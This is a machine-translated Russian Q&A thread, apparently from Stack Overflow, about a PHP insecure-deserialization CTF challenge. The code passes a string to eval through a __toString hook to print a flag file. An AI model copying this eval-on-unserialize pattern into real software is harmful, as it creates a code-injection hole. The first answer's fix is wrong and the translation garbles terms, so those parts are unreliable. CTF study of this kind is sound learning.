Почему код все еще выполняется после "exit()"?
Я делаю вызов CTF о небезопасной десериализации в PHP. Цель состоит в том, чтобы напечатать флаг путем внедрения кода в десериализацию для выполнения print_flag()
функция. Я подозреваю, что веб-сервер печатает только последнюю строку, отображаемую сценарием, которая переопределяет вывод флага, даже при вызове exit()
,
Предоставляется часть php-кода, работающая на веб-сервере. Я реализовал это в своем собственном php-скрипте, чтобы узнать, что работает, а что нет. Мне удалось сериализовать объект, который выполняет код при десериализации. По телефону exit(print_flag());
флаг печатается без дальнейших ошибок... По крайней мере, в моем сценарии. Когда я отправляю сериализованный объект на веб-сервер, он все еще печатает дальнейшие ошибки.
Кроме того, я попытался вернуть строку из моего введенного кода. Это тоже не работает.
function print_flag() {
print file_get_contents('/var/flag/flag.txt');
}
class Example2
{
private $hook;
function __construct() {
$this->hook = "exit(print_flag());";
}
function __toString()
{
if (isset($this->hook)) eval($this->hook);
}
}
$flag = new Example2();
$serialized = serialize($flag);
print "$serialized\r\n";
$deserialized = unserialize($serialized);
Код похож на тот, который показан в тесте, но изменен, поэтому он работает для меня.
Я ожидаю, что код будет возвращать только флаг. При выполнении сценария на моей собственной машине вывод:
O: 8: "Example2": 1: {s: 14: "крюк Example2";s:19:"exit(print_flag());";} thisistheflag
Когда я звоню без exit()
:
Исправляемая фатальная ошибка PHP: Метод Example2::__toString() должен возвращать строковое значение в../phpObjInj.php в строке 39"
Веб-сервер возвращает:
Исправляемая фатальная ошибка: метод Example2::__toString() должен возвращать строковое значение в /var/www/index.php в строке 79
Как остановить ошибку при печати?
2 ответа
Удалите двойные кавычки в вашем конструкторе, function __construct()
вместо
function __construct() {
$this->hook = "exit(print_flag());";
}
использование
function __construct() {
$this->hook = exit(print_flag());
}
Ошибка происходит из-за unserialize($flag);
, Поскольку аргумент unserialize()
должен быть строкой, он пытается преобразовать Example2
объект в строку. Вы, вероятно, хотели использовать unserialize($serialized);
,
Но в целом вы должны убедиться, что __toString()
Метод возвращает строку. Если вам все равно, что это, вы можете вернуть пустую строку.
function __toString()
{
if (isset($this->hook)) eval($this->hook);
return "";
}
Ошибка не происходит, когда у вас есть exit()
в крючке, потому что сценарий выходит до __toString()
метод возвращает, поэтому он никогда не проверяет возвращаемое значение.
Ничто не выполняется после exit()
, Вот порядок действий:
new Example2
- создает новый объектserialize($flag)
- Создает строку, представляющую объектprint "$serialized\r\n";
- Распечатать вышеуказанную строку
Ни один из вышеперечисленных шагов не нужно звонить __toString()
, поэтому крючок еще не выполнен.
deserialize($flag)
- это нужно конвертировать$flag
в строку, чтобы она могла быть проанализирована как сериализованные данные.- Вызов
$flag->__toString()
eval($this->hook)
- Вызов
print_flag()
, который печатает флаг - Вызов
exit()
, который завершает скрипт
- Вызов
Итак, вы видите напечатанный сериализованный объект, затем печатается флаг, и ничего больше из-за exit()
,
Чтобы продемонстрировать уязвимость, вы должны позвонить unserialize()
с правильным аргументом.
$deserialized = unserialize($seralized);
echo $deserialized;
это echo
заявление вызовет __toString()
метод, который будет вызван. Затем он выйдет из сценария, и вы не получите сообщение об ошибке.